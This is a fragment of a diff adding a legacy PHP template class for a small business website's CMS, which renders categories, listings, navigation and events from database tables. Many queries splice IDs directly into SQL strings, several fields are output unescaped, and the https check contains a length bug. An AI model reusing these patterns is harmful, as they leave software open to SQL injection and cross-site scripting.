+       * @param string $url: The url
+       * @param string $text: The text as string
+       * 
+       * @return string $text
+       * @access public 
+       **/
+       function set_url( $url, $text )
+       {
+               if( $url != "" )
+               {
+                       if( !$text )
+                       {
+                               $text = $url;
+                       }
+                       if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+                       {
+                               $url = '<p><a href="'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       }
+                       else
+                       {
+                               $url = '<p><a href="http://'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       }
+               }
+               return( $url ); 
+       }
+
+       /**
+       * set_email:Set the email string
+       * @param string $email: The email as string
+       * @param string $contact: The contactname this is used as the link text
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_email( $email, $contact )
+       {
+               if( $email != "" )
+               {
+                       if( $contact != "" )
+                       {
+                               $email = '<p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($contact).'</a></p>';
+                       }
+                       else
+                       {
+                               $email = '<p><strong>Email:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($email).'</a></p>';
+                       }
+               }
+               return( $email );       
+       }
+
+       /**
+       * set_header:Set the header string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::header_begin()
+       * @uses GLM_TEMPLATE::header_end()
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_header( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->header_begin.htmlspecialchars($text).$this->header_end;  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_subheader:Set the subheader string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::subheader_begin()
+       * @uses GLM_TEMPLATE::subheader_end()
+       *
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_subheader( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->subheader_begin.htmlspecialchars($text).$this->subheader_end;    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_phone:Set the phone string
+       * @param string $text: The text as string
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_phone( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Phone:</strong>&nbsp;&nbsp;'.$text.'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_fax:Set the fax string
+       * @param string $text: The text as string
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_fax( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Fax:</strong>&nbsp;&nbsp;'.htmlspecialchars($text).'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_file:Set the file string
+       * @param string $text: The text as string
+       * @param string $name: The file name displayed
+       * @uses URL_BASE
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_file( $text, $name )
+       {
+               if( $text != "" )
+               {
+                       $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+                       if($name)
+                       {
+                               $outtext .= htmlspecialchars($name);
+                       }
+                       else
+                       {
+                               $outtext .= htmlspecialchars($text);
+                       }
+                       $outtext .= '</a>';
+                       if(ereg("[.]([a-zA-Z]{3}$)",$text,$tmp))
+                       {
+                               $outtext .= '<span class="'.$tmp[1].'">&nbsp;</span>';
+                       }
+                       $outtext .= '</p>';
+               }
+               return( $outtext );
+       }
+
+       /**
+       * set_address:set_address
+       * @param array $data: data contain the address info for display.
+       * 
+       * @return string $address
+       * @access public 
+       **/
+       function set_address( $data )
+       {
+               $address = "";
+               if( $data["address"] )
+               {
+                       $address .= $data["address"];
+               }
+               if( $data["city"] && $data["state"] && $data["zip"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+               }       
+               elseif( $data["city"] && $data["state"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"];
+               }
+               elseif( $data["city"] )
+               {
+                       $address .= '<br>'.$data["city"];
+               }
+               if( $address != "" )
+               {
+                       return( '<p>'.$address.'<br></p>' );
+               }
+       }
+
+       /**
+       * get_all:Does the query and set_data calls boths arrays
+       * 
+       * @uses GLM_TEMPLATE::set_data()
+       * @uses GLM_TEMPLATE::$data
+       * @uses GLM_TEMPLATE::$items
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function get_all( $type = NULL )
+       {
+               $catid = $this->catid; 
+               if( $type == 1 || !$type )
+               {
+                       $cat_query = "select * from bus_category where id = $catid ".$this->active_query." order by pos";  
+                       $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+                       $this->data = $res[0];
+               }
+               if( $type == 2 || !$type )
+               {
+                       $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+                       $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+               }
+       }
+
+       /**
+       * call all class methods to set tho data elements
+       *
+       * <p>This is hightly dependant on the three tables of bus bus_category and bus_category_bus 
+       * set_data:Calls each function of the class
+       * based on the key af the array $data[0][$key]</p>
+       * @todo Really need to look at enhancing this function for different datasetups. 
+       * @param array $data: The input array from db query
+       * @uses GLM_TEMPLATE::$img_size
+       * @uses GLM_TEMPLATE::$img_align
+       * @uses GLM_TEMPLATE::$img_alternate
+       * @uses GLM_TEMPLATE::set_text()
+       * @uses GLM_TEMPLATE::set_header()
+       * @uses GLM_TEMPLATE::set_subheader()
+       * @uses GLM_TEMPLATE::set_url()
+       * @uses GLM_TEMPLATE::set_address()
+       * @uses GLM_TEMPLATE::set_img()
+       * @uses GLM_TEMPLATE::set_email()
+       * @uses GLM_TEMPLATE::set_phone()
+       * 
+       * @return array data The finished array
+       * @access  public
+       **/
+       function set_data( $data )
+       {
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $k => $val )
+                       {
+                               foreach( $val as $key => $value )
+                               {
+                                       if( strstr( $key, "image" ) && !strstr( $key, "name") && $value != "" )
+                                       {
+                                               $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+                                               //$data[$k][$key."_name"] = $value;
+                                               $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, $titletag, $data[$k][$key."name"] );
+                                               if( !strstr( $key, "name" ) )
+                                               {
+                                                       if( $this->img_align == "right" && $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "left";
+                                                       }
+                                                       elseif( $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "right";
+                                                       }
+                                               }
+                                       }
+                                       elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }
+                                       elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }       
+                                       elseif( strstr($key,"descr") && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                                       elseif( $key == "contactname" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+                                       }
+                                       elseif($key == "name" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( strstr( $key, "header" ) && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( $key == "intro" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "category" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "url" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+                                       }
+                                       elseif( $key == "email" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+                                       }
+                                       elseif( $key == "phone" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+                                       }
+                                       elseif( $key == "fax" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+                                       }
+                                       elseif (strstr( $key, "file" ) && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+                                       }
+                                       elseif( $key == "address" )
+                                       {
+                                               $data[$k][$key] =  GLM_TEMPLATE::set_address( $data[$k] );
+                                       }
+                                       elseif( $key == "id" )
+                                       {
+                                               $data[$k][$key] = $value;
+                                       }
+                                       else
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                               }
+                       }       
+                       return( $data );
+               }       
+               return( false );
+       }
+
+       /**
+       * load_static_page:using object buffer include the page $catid.phtml from static dir
+       and return it as string
+       * 
+       * @return string $text 
+       * @access  public
+       **/
+       function load_static_page()
+       {
+               if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+               {
+                       ob_start();
+                       include("static/".$this->catid.".phtml");
+                       $text = ob_get_contents();
+                       ob_end_clean();
+                       return($text);
+               }
+       }
+
+       /**
+       * clean_text:Do some text clean up.
+       * @param string $output: 
+       * 
+       * @return string text cleaned
+       * @access  public
+       **/
+       function clean_text($output)
+       {
+               $output = str_replace("<br />","<br>",$output);
+               $output = str_replace("<p><br></p>","",$output);
+               return($output);
+       }
+
+       /**
+       * get_category: grab just category contents
+       * @param integer $catid: id of bus_category
+       * @param object $DB: 
+       * @param boolean $showimg=1: weather or not to show category image
+       * @uses DELUXE_TOOLBOX
+       * @uses HOME_PAGE_EVENTS
+       * @uses GLM_TEMPLATE::clean_text()
+       * @uses GLM_TEMPLATE::get_home_events()
+       * 
+       * @return string $output
+       * @access public
+       **/
+       function get_category( $showimg = 1,$showdiv=1 )
+       {
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "cat" );
+               }
+                       
+               if( !$this->data )
+               {
+                       $this->get_all( 1 );
+               }
+               $data = $this->data;
+               if( !$data["image"] && !$data["description"] && !$data["intro"] && ( $this->catid != 1 && HOME_PAGE_EVENTS != true ) )
+               {
+                       return( false );
+               }
+               if($showdiv==1)
+               {
+                       $output .= '<div id="category">'."\n";
+               }
+               if( $this->catid == 1 && HOME_PAGE_EVENTS )
+               {
+                       $output .= $this->get_home_events();
+               }
+               if($data["image"] || $data["description"] || $data["intro"] )
+               {
+                       //$output .=$data["intro"]." ";
+                       if($showimg == 1)
+                       {
+                               $output .=$data["image"]." ";
+                       }
+                       $output .=$data["intro"]." ";
+                       $output .=$data["description"]." ";
+               }
+               if($showdiv==1)
+               {
+                       $output .= '</div>'."\n";
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+
+       }
+
+       /**
+        * get_page: replacing template_parser with get-page function
+        *
+        * @uses GLM_TEMPLATE::get_category() For building the main page section
+        * @uses GLM_TEMPLATE::get_listings() For building out the paragraph sections
+        * 
+        * @return  string $out NEED to echo results of this function 
+        * @access  public
+        **/
+       function get_page( $showimg = 1,$showdiv=1 )
+       {
+               $out .= $this->get_category( $showimg,$showdiv );
+               $out .= $this->get_listings();
+               return( $out );
+       }
+
+        /**
+         * get_template: get the template type of the bus_category
+         * @param mixed $type : 'cat' or 'list' 
+         * 
+         * @uses GLM_DB::db_auto_get_data()
+         * 
+         * @return void 
+         * @access public
+         **/
+       function get_template( $type )
+       {
+               $query = "select template from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               switch( $type )
+               {
+                       case "cat":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                       case "4":       
+                                       case "2":
+                                               $this->img_align = "left";
+                                       break;
+
+                                       default:
+                                               $this->img_align = "right";
+                                               break;
+                               }
+                       break;
+
+                       case "list":
+                               switch( $data[0]['template'] )
+                               {
+                                       case "5":
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+                                       case "4":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "3":       
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 1;
+                                       break;
+
+                                       case "2":
+                                               $this->img_align = "left";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       case "1":       
+                                               $this->img_align = "right";
+                                               $this->img_alternate = 0;
+                                       break;
+
+                                       default:
+                                               break;
+                               }
+                       break;
+               }
+               return( $this->template = $data[0]['template'] );
+       }       
+       /**
+       * template_parser:This function creates data 
+       * and items arrays and does the output for the page.
+       * 
+       * @uses DELUXE_TOOLBOX
+       * @uses GLM_TEMPLATE::$items
+       * @uses GLM_TEMPLATE::get_template()
+       * @uses GLM_TEMPLATE::get_all()
+       * @uses GLM_TEMPLATE::load_static_page()
+       * @uses GLM_TEMPLATE::clean_text()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function get_listings()
+       {
+               // grab category and items into data and items respectfully
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "list" );
+               }
+               
+               if( !is_array( $this->items ) )
+               {
+                       $this->get_all( 2 );
+               }
+
+               // load any static category page from the static directory 
+               // hard codded content would have $catid.phtml page for it
+               $output .= $this->load_static_page();
+               switch($this->type)
+               {
+
+                       default:        
+                       if(is_array($this->items))
+                       {
+                               foreach($this->items as $key=>$val)
+                               {
+                                       $output .= '<div class="clearer"></div>';
+                                       // items can be moved around as needed
+                                       $output .= '<div class="listing">'."\n";
+                                       $output .= $val["image"];
+                                       $output .= $val["name"];
+                                       $output .= $val["address"];
+                                       $output .= $val["description"];
+                                       $output .= $val["contactname"];
+                                       $output .= $val["email"];
+                                       $output .= $val["phone"];
+                                       $output .= $val["fax"];
+                                       $output .= $val["url"];
+                                       $output .= $val["file"];
+                                       $output .= $val["file2"];
+                                       $output .= $val["file3"];
+                                       $output .= "</div>"."\n";
+                               }
+                       }
+                       break;
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+       }
+
+       /**
+       * sub_nav:Create a sub navigation 4 across
+       * 
+       * @param integer $catid: The catid for the page
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function sub_nav($catid)
+       {
+               //$catid = $this->get_top_parent($catid);
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";       
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $counter = 1;   
+                       $out = '';
+                       foreach($data as $key=>$val)
+                       {
+                               $url = $this->get_seo_url( $val['id'] );
+                               $title = strip_tags(addslashes($val['intro']));
+                               //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+                               $out .=  '<a title="'.$title.'" href="'.$url.'">';
+                               $out .= $val["category"];
+                               $out .= '</a><br>';     
+                       }       
+               }
+               return( $out );
+       }
+
+       /**
+       * get_home_events: get events flaged as home events
+       * @param object $DB: DB reference to DB obj
+       *
+       * @uses GLM_TEMPLATE::get_event_date()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function get_home_events()
+       {
+               $query = "select id,header,substr(descr,0,30) as descr,bdate,edate,img from event where home = 't' and visable='t' and edate >= current_date;";
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox"> 
+                                       ';
+                       foreach($data as $key=>$value)
+                       {
+                               $id = $value['id'];
+                               $header = $value['header'];
+                               $title = strip_tags(addslashes($header));
+                               $sdate = strtotime($value['bdate']);
+                               $edate = strtotime($value['edate']);
+                               $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $output .= $dates;
+                               $output .= '<h3><a title="" href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+                       }
+                       $output .= '</div></div>';
+                       return($output);
+               }
+               else
+               {
+                       return( '' );
+               }
+       }
+
+       /**
+       * get_event_date: make the event date human readable
+       * @param string $sdate: start date
+       * @param string $edate: end date
+       * @param string $dateType: dateType Postgres,etc
+       * 
+       * @return string  
+       * @access public 
+       **/
+       function get_event_date($sdate,$edate,$dateType)
+       {
+               switch($dateType)
+               {
+                       case "Postgres":
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+                       {
+                               $mon = $spt[1];
+                               $day = $spt[2];
+                               $yr = $spt[3];
+                       }
+
+                       if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+                       {
+                               $mon2 = $ept[1];
+                               $day2 = $ept[2];
+                               $yr2 = $ept[3];
+                       }
+                       break;
+
+                       case "timestamp":
+                       $mon = date("m",$sdate);
+                       $day = date("d",$sdate);
+                       $yr = date("Y",$sdate);
+                       $mon2 = date("m",$edate);
+                       $day2 = date("d",$edate);
+                       $yr2 = date("Y",$edate);
+                       break;
+
+               }$start = mktime(0,0,0,$mon,$day,$yr);
+               $end = mktime(0,0,0,$mon2,$day2,$yr2);
+               if ($day == $day2 && $mon == $mon2 && $yr == $yr2) 
+               {
+                       $dateparam = "F jS, Y"; 
+                       $date_begin = date($dateparam, $start) ;
+                       $date_end = "";
+               }
+               elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2) 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               elseif ($yr == $yr2) 
+               {
+                       $dateparam1 = "F jS -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+               else 
+               {
+                       $dateparam1 = "F jS, Y -";
+                       $dateparam2 = "F jS, Y";
+                       $date_begin = date($dateparam1, $start);
+                       $date_end = date($dateparam2, $end);
+               }
+
+               return($date_begin." ".$date_end);
+       }
+
+       /**
+       * is_sub_id:Check to see if catid is sub of category
+       * 
+       * @param integer $catid: the catid looking at 
+       * @param integer $category: to see if it is in category
+       * @param object $DB: Db object reference
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return bool 
+       * @access public 
+       **/
+       function is_sub_id($catid,$category,&$DB)
+       {
+               if( !is_numeric( $catid ) )
+               {
+                       return( false );
+               }
+               if($category==$catid)
+               {
+                       return(true);
+               }
+               $query = "select id,parent from bus_category where id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               $parent = $data[0]['parent'];
+               if($parent == 0)
+               {
+                       return(false);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::is_sub_id($parent,$category,&$DB) );      
+               }
+       }
+
+       /**
+       * get_parent: get parent for this category
+       * 
+       * @param integer $catid: id 
+       * @param object $DB: database obj
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return int $parent
+       * @access public 
+       **/
+       function get_parent($catid,&$DB)
+       {
+               $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               return( $data[0]["parent"] );
+       }
+
+       /**
+       * get_sub_nav:
+       * @param integer $catid: 
+       * @param object $DB: 
+       * 
+       * @uses GLM_TEMPLATE::get_parent()
+       * @uses GLM_TEMPLATE::get_seo_url()
+       * @uses GLM_TEMPLATE::is_sub_id()
+       * @uses GLM_TEMPLATE::get_sub_nav()
+       * @uses GLM_TEMPLATE::has_subs()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function get_sub_nav($catid,&$DB)
+       {
+               $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+               //echo $parentid.'<br>';
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";    
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $output = '<div id="subnav">';
+                               $counter = 1;   
+                               foreach($data as $key=>$val)
+                               {
+                                       $url = $this->get_seo_url( $val['id'] );
+                                       $title = strip_tags(addslashes($val['intro']));
+                                       if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+                                       {
+                                               $output .=  '<a title="'.$title.'" class="current" href="'.$url.'">';
+                                       }
+                                       else
+                                       {
+                                               $output .=  '<a title="'.$title.'" href="'.$url.'">';
+                                       }
+                                       $output .=  $val["category"];
+                                       $output .=  '</a>';     
+                                       if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+                                       {
+                                               $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+                                       }       
+                               }       
+                               $output .= '</div>';
+                       $output = GLM_TEMPLATE::clean_text($output);
+                       echo $output;
+               }
+               return(false);
+       }
+
+       /**
+       * has_subs:
+       * @param integer $catid: 
+       * @param object $DB: 
+       * 
+       * @uses GLM_TEMPLATE::$active_query
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function has_subs($catid,&$DB)
+       {
+               $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";      
+               $data = $DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       return(true);
+               }
+               else
+               {
+                       return(false);
+               }
+       }
+
+
+       /**
+       * get_top_parent:Get the highest level parent id (not 0 )for the category.
+       *
+       *       <p><b>NOTICE:</b> This is ment to get the top level parent not the parent of the id given.</p>
+       *
+       * @param integer $id: The catid for the page.
+       * @param object $DB: obj
+       * @uses GLM_TEMPLATE::get_top_parent()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return int $parent 
+       * @access public 
+       **/
+       function get_top_parent($id,&$DB)
+       {
+               if( $id == 0 )
+               {
+                       return( 0 );            
+               }
+               $qs = "select parent from bus_category where id = $id";
+               $parentrow = $DB->db_auto_get_data( $qs );        
+               if($parentrow[0]['parent'] == 0)
+               {
+                       return($id);
+               }
+               else
+               {
+                       return( GLM_TEMPLATE::get_top_parent($parentrow[0]['parent'],&$DB) );
+               }
+       }
+
+       /**
+       * show_catimg:output the category image.
+       * 
+       * @param integer $catid: The catid for the page.
+       * @uses GLM_TEMPLATE::MIDSIZED
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function show_catimg($catid)
+       {
+               $query = "SELECT image FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]["image"]!="")
+               {
+                       $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+               }
+               else
+               {
+                       $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+               }
+               echo $img;
+               echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+       }
+
+
+       /**
+       * get_catheader:output the category name.
+       * 
+       * @param integer $catid: The catid for the page
+       * @param object $DB: db obj 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function get_catheader($catid,$DB)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $DB->db_auto_get_data($query);
+               if($data[0]['category']!="")
+               {
+                       $header = strip_tags($data[0]['category']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+       
+               /**
+       * get_catintro: return the category page name.
+       * 
+       * @param integer $catid: The catid for the page
+       * @param object $DB: db obj 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return void 
+       * @access  public
+       **/
+       function get_catintro($catid)
+       {
+               $query = "SELECT intro FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0]['intro']!="")
+               {
+                       $header = strip_tags($data[0]['intro']);
+               }
+               else
+               {
+                       $header = '';
+               }
+               return( $header );
+       }
+
+       /**
+       * show_catheader:
+       * 
+       * @param integer $catid: 
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function show_catheader($catid)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if($data[0][category]!="")
+               {
+                       $header = $data[0][category];
+               }
+               else
+               {
+                       $header = '&nbsp;';
+               }
+               echo $header;
+       }
+
+       /**
+       * get_menu_string:get categories for the phplayermenu
+       * 
+       * @uses GLM_TEMPLATE::sort_childs()
+       * @uses GLM_TEMPLATE::convert_to_thread()
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return string 
+       * @access  public
+       **/
+       function get_menu_string()
+       {
+               $query = "SELECT id,parent,category FROM bus_category WHERE active = 't' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+               return($string);
+       }
+       
+
+       /**
+        * get_menu_array: like get_menu_string but returns an array
+        * 
+        * @uses GLM_TEMPLATE::sort_childs()
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function get_menu_array()
+       {
+               $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+               $data = $this->DB->db_auto_get_data($query);
+               $newdata = GLM_TEMPLATE::sort_childs($data);
+               return $newdata;
+       }
+
+       /**
+       * sort_childs:
+       * @param array $threads: 
+       * 
+       * @return  string
+       * @access  public
+       **/
+       function sort_childs($threads)
+       {
+               foreach($threads as $var=>$value)
+               {
+                       $childs[$value["parent"]][$value["id"]] = $value;
+               }
+               return($childs);
+       }
+
+       /**
+       * convert_to_thread:
+       * 
+       * @param array $threads: 
+       * @param array $thread: 
+       * @uses GLM_TEMPLATE::$thread_count
+       * @uses GLM_TEMPLATE::$whole_thread
+       * @uses GLM_TEMPLATE::get_seo_url()
+       * @uses GLM_TEMPLATE::convert_to_thread()
+       * 
+       * @return string
+       * @access public
+       **/
+       function convert_to_thread($threads, $thread)
+       {    
+               foreach($thread as $parent=>$value)
+               {
+                       $this->whole_thread .= str_repeat(".",$this->thread_count);
+                       $this->whole_thread .= "|".$value[category];
+                       $url = $this->get_seo_url( $value['id'] );
+                       $this->whole_thread .= "|".$url;
+                       $this->whole_thread .="\n";
+                       if($threads[$parent])
+                       {       
+                               $this->thread_count++;
+                               GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+                       }
+               }
+               $this->thread_count--;
+               return $this->whole_thread;
+       }
+
+
+       /**
+        * has_children: return true or false if this category has sub categories under it.
+        * 
+        * @param integer $catid: 
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function has_children($catid)
+       {
+               // returns number of children that $catid has
+               $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+               $row=$this->DB->db_auto_get_data($qs);
+               return $row[0]['count'];
+       }
+       
+       /**
+       * get_ancestors:get the ancestors for this category
+       * 
+       * @param integer $catid: catid
+       * @param integer $count: starting counter
+       * @uses GLM_DB::db_auto_get_data()
+       * 
+       * @return array 
+       * @access  public
+       **/
+       function get_ancestors($catid,$count)
+       {
+               if( $count == 0 )
+               {
+                       unset( $this->ancestors );
+               }
+               if($catid)
+               {
+                       $query = "SELECT        id,category,parent 
+                       FROM    bus_category
+                       WHERE   id = ".$catid."
+                       ".$this->active_query;
+                       $res = $this->DB->db_auto_get_data($query);
+                       $id = $res[0]['id'];
+                       $parent = $res[0]['parent'];
+                       $category = $res[0]['category'];
+                       $this->ancestors[$count]['id'] = $id;
+                       $this->ancestors[$count]['label'] = $category;
+
+                       $url = $this->get_seo_url( $id ); 
+                       $this->ancestors[$count]['link'] = $url;
+                       GLM_TEMPLATE::get_ancestors($parent,$count+1,$conn);
+
+                       return (array_reverse($this->ancestors) );
+               }
+       }
+
+        /**
+        * meta_tags: create the meta description content for this page.
+        * this is taken from the category description.
+        * this should be only done for all but the home page.
+        * $meta = ( $catid != 1 ) ? $toolbox->meta_tags() : '';
+        * 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access  public
+        **/
+       function meta_tags()
+       {
+               $query = "select description from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               $description = substr( strip_tags( $data[0]['description'] ), 0, 250 );
+               return( $description );
+       }
+       
+        /**
+        * title: create the title for the page.
+        * this should be only done for all but the home page.
+        * $title = ( $catid != 1 ) ? $toolbox->title() : '';
+        * 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access public 
+        **/
+       function title()
+       {
+               $query = "select category,intro from bus_category where id = ".$this->catid;
+               $data = $this->DB->db_auto_get_data( $query );
+               if( $data[0]['intro'] ) 
+               {
+                       $title = strip_tags( $data[0]['intro'] );
+               }       
+               else
+               {
+                       $title = strip_tags( $data[0]['category'] );
+               }
+               return( htmlspecialchars($title.' - ') );
+       }
+       
+       /**
+       * get_bottom_nav: generate a top level only bottom navigation for the pages.
+        * 
+        * @param integer $parent=0: 
+       * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  string
+        * @access public 
+        **/
